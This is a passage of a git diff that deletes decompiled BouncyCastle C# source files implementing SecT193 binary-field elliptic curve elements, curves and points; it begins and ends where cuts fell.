array[num & 7] ^ (array[(num >> 3) & 7] << 3); - int num4 = 36; - do - { - num = (uint)(x >> num4); - ulong num5 = array[num & 7] ^ (array[(num >> 3) & 7] << 3) ^ (array[(num >> 6) & 7] << 6) ^ (array[(num >> 9) & 7] << 9) ^ (array[(num >> 12) & 7] << 12); - num3 ^= num5 << num4; - num2 ^= num5 >> -num4; - } - while ((num4 -= 15) > 0); - ulong[] array3; - ulong[] array2 = (array3 = z); - nint num6 = zOff; - array2[zOff] = array3[num6] ^ (num3 & 0x1FFFFFFFFFFFFL); - ulong[] array4 = (array3 = z); - int num7 = zOff + 1; - num6 = num7; - array4[num7] = array3[num6] ^ ((num3 >> 49) ^ (num2 << 15)); - } - - protected static void ImplSquare(ulong[] x, ulong[] zz) - { - Interleave.Expand64To128(x[0], zz, 0); - Interleave.Expand64To128(x[1], zz, 2); - Interleave.Expand64To128(x[2], zz, 4); - zz[6] = x[3] & 1; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT193FieldElement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT193FieldElement.cs deleted file mode 100644 index dda54e7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT193FieldElement.cs +++ /dev/null @@ -1,195 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT193FieldElement : AbstractF2mFieldElement -{ - protected internal readonly ulong[] x; - - public override bool IsOne => Nat256.IsOne64(x); - - public override bool IsZero => Nat256.IsZero64(x); - - public override string FieldName => "SecT193Field"; - - public override int FieldSize => 193; - - public virtual int Representation => 2; - - public virtual int M => 193; - - public virtual int K1 => 15; - - public virtual int K2 => 0; - - public virtual int K3 => 0; - - public SecT193FieldElement(BigInteger x) - { - if (x == null || x.SignValue < 0 || x.BitLength > 193) - { - throw new ArgumentException("value invalid for SecT193FieldElement", "x"); - } - this.x = SecT193Field.FromBigInteger(x); - } - - public SecT193FieldElement() - { - x = Nat256.Create64(); - } - - protected internal SecT193FieldElement(ulong[] x) - { - this.x = x; - } - - public override bool TestBitZero() - { - return (x[0] & 1) != 0; - } - - public override BigInteger ToBigInteger() - { - return Nat256.ToBigInteger64(x); - } - - public override ECFieldElement Add(ECFieldElement b) - { - ulong[] z = Nat256.Create64(); - SecT193Field.Add(x, ((SecT193FieldElement)b).x, z); - return new SecT193FieldElement(z); - } - - public override ECFieldElement AddOne() - { - ulong[] z = Nat256.Create64(); - SecT193Field.AddOne(x, z); - return new SecT193FieldElement(z); - } - - public override ECFieldElement Subtract(ECFieldElement b) - { - return Add(b); - } - - public override ECFieldElement Multiply(ECFieldElement b) - { - ulong[] z = Nat256.Create64(); - SecT193Field.Multiply(x, ((SecT193FieldElement)b).x, z); - return new SecT193FieldElement(z); - } - - public override ECFieldElement MultiplyMinusProduct(ECFieldElement b, ECFieldElement x, ECFieldElement y) - { - return MultiplyPlusProduct(b, x, y); - } - - public override ECFieldElement MultiplyPlusProduct(ECFieldElement b, ECFieldElement x, ECFieldElement y) - { - ulong[] array = this.x; - ulong[] y2 = ((SecT193FieldElement)b).x; - ulong[] array2 = ((SecT193FieldElement)x).x; - ulong[] y3 = ((SecT193FieldElement)y).x; - ulong[] array3 = Nat256.CreateExt64(); - SecT193Field.MultiplyAddToExt(array, y2, array3); - SecT193Field.MultiplyAddToExt(array2, y3, array3); - ulong[] z = Nat256.Create64(); - SecT193Field.Reduce(array3, z); - return new SecT193FieldElement(z); - } - - public override ECFieldElement Divide(ECFieldElement b) - { - return Multiply(b.Invert()); - } - - public override ECFieldElement Negate() - { - return this; - } - - public override ECFieldElement Square() - { - ulong[] z = Nat256.Create64(); - SecT193Field.Square(x, z); - return new SecT193FieldElement(z); - } - - public override ECFieldElement SquareMinusProduct(ECFieldElement x, ECFieldElement y) - { - return SquarePlusProduct(x, y); - } - - public override ECFieldElement SquarePlusProduct(ECFieldElement x, ECFieldElement y) - { - ulong[] array = this.x; - ulong[] array2 = ((SecT193FieldElement)x).x; - ulong[] y2 = ((SecT193FieldElement)y).x; - ulong[] array3 = Nat256.CreateExt64(); - SecT193Field.SquareAddToExt(array, array3); - SecT193Field.MultiplyAddToExt(array2, y2, array3); - ulong[] z = Nat256.Create64(); - SecT193Field.Reduce(array3, z); - return new SecT193FieldElement(z); - } - - public override ECFieldElement SquarePow(int pow) - { - if (pow < 1) - { - return this; - } - ulong[] z = Nat256.Create64(); - SecT193Field.SquareN(x, pow, z); - return new SecT193FieldElement(z); - } - - public override int Trace() - { - return (int)SecT193Field.Trace(x); - } - - public override ECFieldElement Invert() - { - ulong[] z = Nat256.Create64(); - SecT193Field.Invert(x, z); - return new SecT193FieldElement(z); - } - - public override ECFieldElement Sqrt() - { - ulong[] z = Nat256.Create64(); - SecT193Field.Sqrt(x, z); - return new SecT193FieldElement(z); - } - - public override bool Equals(object obj) - { - return Equals(obj as SecT193FieldElement); - } - - public override bool Equals(ECFieldElement other) - { - return Equals(other as SecT193FieldElement); - } - - public virtual bool Equals(SecT193FieldElement other) - { - if (this == other) - { - return true; - } - if (other == null) - { - return false; - } - return Nat256.Eq64(x, other.x); - } - - public override int GetHashCode() - { - return 0x1D731F ^ Arrays.GetHashCode(x, 0, 4); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT193R1Curve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT193R1Curve.cs deleted file mode 100644 index 6f8fc0c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT193R1Curve.cs +++ /dev/null @@ -1,127 +0,0 @@ -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT193R1Curve : AbstractF2mCurve -{ - private class SecT193R1LookupTable : ECLookupTable - { - private readonly SecT193R1Curve m_outer; - - private readonly ulong[] m_table; - - private readonly int m_size; - - public virtual int Size => m_size; - - internal SecT193R1LookupTable(SecT193R1Curve outer, ulong[] table, int size) - { - m_outer = outer; - m_table = table; - m_size = size; - } - - public virtual ECPoint Lookup(int index) - { - ulong[] array = Nat256.Create64(); - ulong[] array2 = Nat256.Create64(); - int num = 0; - for (int i = 0; i < m_size; i++) - { - ulong num2 = (ulong)((i ^ index) - 1 >> 31); - for (int j = 0; j < 4; j++) - { - ulong[] array4; - ulong[] array3 = (array4 = array); - int num3 = j; - nint num4 = num3; - array3[num3] = array4[num4] ^ (m_table[num + j] & num2); - ulong[] array5 = (array4 = array2); - int num5 = j; - num4 = num5; - array5[num5] = array4[num4] ^ (m_table[num + 4 + j] & num2); - } - num += 8; - } - return m_outer.CreateRawPoint(new SecT193FieldElement(array), new SecT193FieldElement(array2), withCompression: false); - } - } - - private const int SECT193R1_DEFAULT_COORDS = 6; - - private const int SECT193R1_FE_LONGS = 4; - - protected readonly SecT193R1Point m_infinity; - - public override ECPoint Infinity => m_infinity; - - public override int FieldSize => 193; - - public override bool IsKoblitz => false; - - public virtual int M => 193; - - public virtual bool IsTrinomial => true; - - public virtual int K1 => 15; - - public virtual int K2 => 0; - - public virtual int K3 => 0; - - public SecT193R1Curve() - : base(193, 15, 0, 0) - { - m_infinity = new SecT193R1Point(this, null, null); - m_a = FromBigInteger(new BigInteger(1, Hex.Decode("0017858FEB7A98975169E171F77B4087DE098AC8A911DF7B01"))); - m_b = FromBigInteger(new BigInteger(1, Hex.Decode("00FDFB49BFE6C3A89FACADAA7A1E5BBC7CC1C2E5D831478814"))); - m_order = new BigInteger(1, Hex.Decode("01000000000000000000000000C7F34A778F443ACC920EBA49")); - m_cofactor = BigInteger.Two; - m_coord = 6; - } - - protected override ECCurve CloneCurve() - { - return new SecT193R1Curve(); - } - - public override bool SupportsCoordinateSystem(int coord) - { - if (coord == 6) - { - return true; - } - return false; - } - - public override ECFieldElement FromBigInteger(BigInteger x) - { - return new SecT193FieldElement(x); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, bool withCompression) - { - return new SecT193R1Point(this, x, y, withCompression); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - { - return new SecT193R1Point(this, x, y, zs, withCompression); - } - - public override ECLookupTable CreateCacheSafeLookupTable(ECPoint[] points, int off, int len) - { - ulong[] array = new ulong[len * 4 * 2]; - int num = 0; - for (int i = 0; i < len; i++) - { - ECPoint eCPoint = points[off + i]; - Nat256.Copy64(((SecT193FieldElement)eCPoint.RawXCoord).x, 0, array, num); - num += 4; - Nat256.Copy64(((SecT193FieldElement)eCPoint.RawYCoord).x, 0, array, num); - num += 4; - } - return new SecT193R1LookupTable(this, array, len); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT193R1Point.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT193R1Point.cs deleted file mode 100644 index 8767f24..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT193R1Point.cs +++ /dev/null @@ -1,260 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT193R1Point : AbstractF2mPoint -{ - public override ECFieldElement YCoord - { - get - { - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawYCoord = base.RawYCoord; - if (base.IsInfinity || rawXCoord.IsZero) - { - return rawYCoord; - } - ECFieldElement eCFieldElement = rawYCoord.Add(rawXCoord).Multiply(rawXCoord); - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - if (!eCFieldElement2.IsOne) - { - eCFieldElement = eCFieldElement.Divide(eCFieldElement2); - } - return eCFieldElement; - } - } - - protected internal override bool CompressionYTilde - { - get - { - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return false; - } - ECFieldElement rawYCoord = base.RawYCoord; - return rawYCoord.TestBitZero() != rawXCoord.TestBitZero(); - } - } - - public SecT193R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y) - : this(curve, x, y, withCompression: false) - { - } - - public SecT193R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - if (x == null != (y == null)) - { - throw new ArgumentException("Exactly one of the field elements is null"); - } - } - - internal SecT193R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - protected override ECPoint Detach() - { - return new SecT193R1Point(null, AffineXCoord, AffineYCoord); - } - - public override ECPoint Add(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawXCoord2 = b.RawXCoord; - if (rawXCoord.IsZero) - { - if (rawXCoord2.IsZero) - { - return curve.Infinity; - } - return b.Add(this); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement eCFieldElement2 = b.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement3 = rawXCoord2; - ECFieldElement eCFieldElement4 = rawYCoord2; - if (!isOne) - { - eCFieldElement3 = eCFieldElement3.Multiply(eCFieldElement); - eCFieldElement4 = eCFieldElement4.Multiply(eCFieldElement); - } - bool isOne2 = eCFieldElement2.IsOne; - ECFieldElement eCFieldElement5 = rawXCoord; - ECFieldElement eCFieldElement6 = rawYCoord; - if (!isOne2) - { - eCFieldElement5 = eCFieldElement5.Multiply(eCFieldElement2); - eCFieldElement6 = eCFieldElement6.Multiply(eCFieldElement2); - } - ECFieldElement eCFieldElement7 = eCFieldElement6.Add(eCFieldElement4); - ECFieldElement eCFieldElement8 = eCFieldElement5.Add(eCFieldElement3); - if (eCFieldElement8.IsZero) - { - if (eCFieldElement7.IsZero) - { - return Twice(); - } - return curve.Infinity; - } - ECFieldElement eCFieldElement10; - ECFieldElement y; - ECFieldElement eCFieldElement12; - if (rawXCoord2.IsZero) - { - ECPoint eCPoint = Normalize(); - rawXCoord = eCPoint.XCoord; - ECFieldElement yCoord = eCPoint.YCoord; - ECFieldElement b2 = rawYCoord2; - ECFieldElement eCFieldElement9 = yCoord.Add(b2).Divide(rawXCoord); - eCFieldElement10 = eCFieldElement9.Square().Add(eCFieldElement9).Add(rawXCoord) - .Add(curve.A); - if (eCFieldElement10.IsZero) - { - return new SecT193R1Point(curve, eCFieldElement10, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement eCFieldElement11 = eCFieldElement9.Multiply(rawXCoord.Add(eCFieldElement10)).Add(eCFieldElement10).Add(yCoord); - y = eCFieldElement11.Divide(eCFieldElement10).Add(eCFieldElement10); - eCFieldElement12 = curve.FromBigInteger(BigInteger.One); - } - else - { - eCFieldElement8 = eCFieldElement8.Square(); - ECFieldElement eCFieldElement13 = eCFieldElement7.Multiply(eCFieldElement5); - ECFieldElement eCFieldElement14 = eCFieldElement7.Multiply(eCFieldElement3); - eCFieldElement10 = eCFieldElement13.Multiply(eCFieldElement14); - if (eCFieldElement10.IsZero) - { - return new SecT193R1Point(curve, eCFieldElement10, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement eCFieldElement15 = eCFieldElement7.Multiply(eCFieldElement8); - if (!isOne2) - { - eCFieldElement15 = eCFieldElement15.Multiply(eCFieldElement2); - } - y = eCFieldElement14.Add(eCFieldElement8).SquarePlusProduct(eCFieldElement15, rawYCoord.Add(eCFieldElement)); - eCFieldElement12 = eCFieldElement15; - if (!isOne) - { - eCFieldElement12 = eCFieldElement12.Multiply(eCFieldElement); - } - } - return new SecT193R1Point(curve, eCFieldElement10, y, new ECFieldElement[1] { eCFieldElement12 }, base.IsCompressed); - } - - public override ECPoint Twice() - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return curve.Infinity; - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement2 = (isOne ? rawYCoord : rawYCoord.Multiply(eCFieldElement)); - ECFieldElement b = (isOne ? eCFieldElement : eCFieldElement.Square()); - ECFieldElement a = curve.A; - ECFieldElement b2 = (isOne ? a : a.Multiply(b)); - ECFieldElement eCFieldElement3 = rawYCoord.Square().Add(eCFieldElement2).Add(b2); - if (eCFieldElement3.IsZero) - { - return new SecT193R1Point(curve, eCFieldElement3, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement eCFieldElement4 = eCFieldElement3.Square(); - ECFieldElement eCFieldElement5 = (isOne ? eCFieldElement3 : eCFieldElement3.Multiply(b)); - ECFieldElement eCFieldElement6 = (isOne ? rawXCoord : rawXCoord.Multiply(eCFieldElement)); - ECFieldElement y = eCFieldElement6.SquarePlusProduct(eCFieldElement3, eCFieldElement2).Add(eCFieldElement4).Add(eCFieldElement5); - return new SecT193R1Point(curve, eCFieldElement4, y, new ECFieldElement[1] { eCFieldElement5 }, base.IsCompressed); - } - - public override ECPoint TwicePlus(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return Twice(); - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return b; - } - ECFieldElement rawXCoord2 = b.RawXCoord; - ECFieldElement eCFieldElement = b.RawZCoords[0]; - if (rawXCoord2.IsZero || !eCFieldElement.IsOne) - { - return Twice().Add(b); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement x = rawXCoord.Square(); - ECFieldElement b2 = rawYCoord.Square(); - ECFieldElement eCFieldElement3 = eCFieldElement2.Square(); - ECFieldElement b3 = rawYCoord.Multiply(eCFieldElement2); - ECFieldElement b4 = curve.A.Multiply(eCFieldElement3).Add(b2).Add(b3); - ECFieldElement eCFieldElement4 = rawYCoord2.AddOne(); - ECFieldElement eCFieldElement5 = curve.A.Add(eCFieldElement4).Multiply(eCFieldElement3).Add(b2) - .MultiplyPlusProduct(b4, x, eCFieldElement3); - ECFieldElement eCFieldElement6 = rawXCoord2.Multiply(eCFieldElement3); - ECFieldElement eCFieldElement7 = eCFieldElement6.Add(b4).Square(); - if (eCFieldElement7.IsZero) - { - if (eCFieldElement5.IsZero) - { - return b.Twice(); - } - return curve.Infinity; - } - if (eCFieldElement5.IsZero) - { - return new SecT193R1Point(curve, eCFieldElement5, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement x2 = eCFieldElement5.Square().Multiply(eCFieldElement6); - ECFieldElement eCFieldElement8 = eCFieldElement5.Multiply(eCFieldElement7).Multiply(eCFieldElement3); - ECFieldElement y = eCFieldElement5.Add(eCFieldElement7).Square().MultiplyPlusProduct(b4, eCFieldElement4, eCFieldElement8); - return new SecT193R1Point(curve, x2, y, new ECFieldElement[1] { eCFieldElement8 }, base.IsCompressed); - } - - public override ECPoint Negate() - { - if (base.IsInfinity) - { - return this; - } - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return this; - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - return new SecT193R1Point(Curve, rawXCoord, rawYCoord.Add(eCFieldElement), new ECFieldElement[1] { eCFieldElement }, base.IsCompressed); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT193R2Curve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT193R2Curve.cs deleted file mode 100644 index 71fd9c3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT193R2Curve.cs +++ /dev/null @@ -1,127 +0,0 @@ -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT193R2Curve : AbstractF2mCurve -{ - private class SecT193R2LookupTable : ECLookupTable - { - private readonly SecT193R2Curve m_outer; - - private readonly ulong[] m_table; - - private readonly int m_size; - - public virtual int Size => m_size; - - internal SecT193R2LookupTable(SecT193R2Curve outer, ulong[] table, int size) - { - m_outer = outer; - m_table = table; - m_size = size; - } - - public virtual ECPoint Lookup(int index) - { - ulong[] array = Nat256.Create64(); - ulong[] array2 = Nat256.Create64(); - int num = 0; - for (int i = 0; i < m_size; i++) - { - ulong num2 = (ulong)((i ^ index) - 1 >> 31); - for (int j = 0; j < 4; j++) - { - ulong[] array4; - ulong[] array3 = (array4 = array); - int num3 = j; - nint num4 = num3; - array3[num3] = array4[num4] ^ (m_table[num + j] & num2); - ulong[] array5 = (array4 = array2); - int num5 = j; - num4 = num5; - array5[num5] = array4[num4] ^ (m_table[num + 4 + j] & num2); - } - num += 8; - } - return m_outer.CreateRawPoint(new SecT193FieldElement(array), new SecT193FieldElement(array2), withCompression: false); - } - } - - private const int SECT193R2_DEFAULT_COORDS = 6; - - private const int SECT193R2_FE_LONGS = 4; - - protected readonly SecT193R2Point m_infinity; - - public override ECPoint Infinity => m_infinity; - - public override int FieldSize => 193; - - public override bool IsKoblitz => false; - - public virtual int M => 193; - - public virtual bool IsTrinomial => true; - - public virtual int K1 => 15; - - public virtual int K2 => 0; - - public virtual int K3 => 0; - - public SecT193R2Curve() - : base(193, 15, 0, 0) - { - m_infinity = new SecT193R2Point(this, null, null); - m_a = FromBigInteger(new BigInteger(1, Hex.Decode("0163F35A5137C2CE3EA6ED8667190B0BC43ECD69977702709B"))); - m_b = FromBigInteger(new BigInteger(1, Hex.Decode("00C9BB9E8927D4D64C377E2AB2856A5B16E3EFB7F61D4316AE"))); - m_order = new BigInteger(1, Hex.Decode("010000000000000000000000015AAB561B005413CCD4EE99D5")); - m_cofactor = BigInteger.Two; - m_coord = 6; - } - - protected override ECCurve CloneCurve() - { - return new SecT193R2Curve(); - } - - public override bool SupportsCoordinateSystem(int coord) - { - if (coord == 6) - { - return true; - } - return false; - } - - public override ECFieldElement FromBigInteger(BigInteger x) - { - return new SecT193FieldElement(x); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, bool withCompression) - { - return new SecT193R2Point(this, x, y, withCompression); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - { - return new SecT193R2Point(this, x, y, zs, withCompression); - } - - public override ECLookupTable CreateCacheSafeLookupTable(ECPoint[] points, int off, int len) - { - ulong[] array = new ulong[len * 4 * 2]; - int num = 0; - for (int i = 0; i < len; i++) - { - ECPoint eCPoint = points[off + i]; - Nat256.Copy64(((SecT193FieldElement)eCPoint.RawXCoord).x, 0, array, num); - num += 4; - Nat256.Copy64(((SecT193FieldElement)eCPoint.RawYCoord).x, 0, array, num); - num += 4; - } - return new SecT193R2LookupTable(this, array, len); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT193R2Point.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT193R2Point.cs deleted file mode 100644 index 52e45d5..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT193R2Point.cs +++ /dev/null @@ -1,260 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT193R2Point : AbstractF2mPoint -{ - public override ECFieldElement YCoord - { - get - { - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawYCoord = base.RawYCoord; - if (base.IsInfinity || rawXCoord.IsZero) - { - return rawYCoord; - } - ECFieldElement eCFieldElement = rawYCoord.Add(rawXCoord).Multiply(rawXCoord); - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - if (!eCFieldElement2.IsOne) - { - eCFieldElement = eCFieldElement.Divide(eCFieldElement2); - } - return eCFieldElement; - } - } - - protected internal override bool CompressionYTilde - { - get - { - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return false; - } - ECFieldElement rawYCoord = base.RawYCoord; - return rawYCoord.TestBitZero() != rawXCoord.TestBitZero(); - } - } - - public SecT193R2Point(ECCurve curve, ECFieldElement x, ECFieldElement y) - : this(curve, x, y, withCompression: false) - { - } - - public SecT193R2Point(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - if (x == null != (y == null)) - { - throw new ArgumentException("Exactly one of the field elements is null"); - } - } - - internal SecT193R2Point(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - protected override ECPoint Detach() - { - return new SecT193R2Point(null, AffineXCoord, AffineYCoord); - } - - public override ECPoint Add(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawXCoord2 = b.RawXCoord; - if (rawXCoord.IsZero) - { - if (rawXCoord2.IsZero) - { - return curve.Infinity; - } - return b.Add(this); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement eCFieldElement2 = b.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement3 = rawXCoord2; - ECFieldElement eCFieldElement4 = rawYCoord2; - if (!isOne) - { - eCFieldElement3 = eCFieldElement3.Multiply(eCFieldElement); - eCFieldElement4 = eCFieldElement4.Multiply(eCFieldElement); - } - bool isOne2 = eCFieldElement2.IsOne; - ECFieldElement eCFieldElement5 = rawXCoord; - ECFieldElement eCFieldElement6 = rawYCoord; - if (!isOne2) - { - eCFieldElement5 = eCFieldElement5.Multiply(eCFieldElement2); - eCFieldElement6 = eCFieldElement6.Multiply(eCFieldElement2); - } - ECFieldElement eCFieldElement7 = eCFieldElement6.Add(eCFieldElement4); - ECFieldElement eCFieldElement8 = eCFieldElement5.Add(eCFieldElement3); - if (eCFieldElement8.IsZero) - { - if (eCFieldElement7.IsZero) - { - return Twice(); - } - return curve.Infinity; - } - ECFieldElement eCFieldElement10; - ECFieldElement y; - ECFieldElement eCFieldElement12; - if (rawXCoord2.IsZero) - { - ECPoint eCPoint = Normalize(); - rawXCoord = eCPoint.XCoord; - ECFieldElement yCoord = eCPoint.YCoord; - ECFieldElement b2 = rawYCoord2; - ECFieldElement eCFieldElement9 = yCoord.Add(b2).Divide(rawXCoord); - eCFieldElement10 = eCFieldElement9.Square().Add(eCFieldElement9).Add(rawXCoord) - .Add(curve.A); - if (eCFieldElement10.IsZero) - { - return new SecT193R2Point(curve, eCFieldElement10, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement eCFieldElement11 = eCFieldElement9.Multiply(rawXCoord.Add(eCFieldElement10)).Add(eCFieldElement10).Add(yCoord); - y = eCFieldElement11.Divide(eCFieldElement10).Add(eCFieldElement10); - eCFieldElement12 = curve.FromBigInteger(BigInteger.One); - } - else - { - eCFieldElement8 = eCFieldElement8.Square(); - ECFieldElement eCFieldElement13 = eCFieldElement7.Multiply(eCFieldElement5); - ECFieldElement eCFieldElement14 = eCFieldElement7.Multiply(eCFieldElement3); - eCFieldElement10 = eCFieldElement13.Multiply(eCFieldElement14); - if (eCFieldElement10.IsZero) - { - return new SecT193R2Point(curve, eCFieldElement10, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement eCFieldElement15 = eCFieldElement7.Multiply(eCFieldElement8); - if (!isOne2) - { - eCFieldElement15 = eCFieldElement15.Multiply(eCFieldElement2); - } - y = eCFieldElement14.Add(eCFieldElement8).SquarePlusProduct(eCFieldElement15, rawYCoord.Add(eCFieldElement)); - eCFieldElement12 = eCFieldElement15; - if (!isOne) - { - eCFieldElement12 = eCFieldElement12.Multiply(eCFieldElement); - } - } - return new SecT193R2Point(curve, eCFieldElement10, y, new ECFieldElement[1] { eCFieldElement12 }, base.IsCompressed); - } - - public override ECPoint Twice() - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return curve.Infinity; - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement2 = (isOne ? rawYCoord : rawYCoord.Multiply(eCFieldElement)); - ECFieldElement b = (isOne ? eCFieldElement : eCFieldElement.Square()); - ECFieldElement a = curve.A; - ECFieldElement b2 = (isOne ? a : a.Multiply(b)); - ECFieldElement eCFieldElement3 = rawYCoord.Square().Add(eCFieldElement2).Add(b2); - if (eCFieldElement3.IsZero) - { - return new SecT193R2Point(curve, eCFieldElement3, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement eCFieldElement4 = eCFieldElement3.Square(); - ECFieldElement eCFieldElement5 = (isOne ? eCFieldElement3 : eCFieldElement3.Multiply(b)); - ECFieldElement eCFieldElement6 = (isOne ? rawXCoord : rawXCoord.Multiply(eCFieldElement)); - ECFieldElement y = eCFieldElement6.SquarePlusProduct(eCFieldElement3, eCFieldElement2).Add(eCFieldElement4).Add(eCFieldElement5); - return new SecT193R2Point(curve, eCFieldElement4, y, new ECFieldElement[1] { eCFieldElement5 }, base.IsCompressed); - } - - public override ECPoint TwicePlus(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return Twice(); - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return b; - } - ECFieldElement rawXCoord2 = b.RawXCoord; - ECFieldElement eCFieldElement = b.RawZCoords[0]; - if (rawXCoord2.IsZero || !eCFieldElement.IsOne) - { - return Twice().Add(b); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement x = rawXCoord.Square(); - ECFieldElement b2 = rawYCoord.Square(); - ECFieldElement eCFieldElement3 = eCFieldElement2.Square(); - ECFieldElement b3 = rawYCoord.Multiply(eCFieldElement2); - ECFieldElement b4 = curve.A.Multiply(eCFieldElement3).Add(b2).Add(b3); - ECFieldElement eCFieldElement4 = rawYCoord2.AddOne(); - ECFieldElement eCFieldElement5 = curve.A.Add(eCFieldElement4).Multiply(eCFieldElement3).Add(b2) - .MultiplyPlusProduct(b4, x, eCFieldElement3); - ECFieldElement eCFieldElement6 = rawXCoord2.Multiply(eCFieldElement3); - ECFieldElement eCFieldElement7 = eCFieldElement6.Add(b4).Square(); - if (eCFieldElement7.IsZero) - { - if (eCFieldElement5.IsZero) - { - return b.Twice(); - } - return curve.Infinity; - } - if (eCFieldElement5.IsZero) - { - return new SecT193R2Point(curve, eCFieldElement5, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement x2 = eCFieldElement5.Square().Multiply(eCFieldElement6); - ECFieldElement eCFieldElement8 = 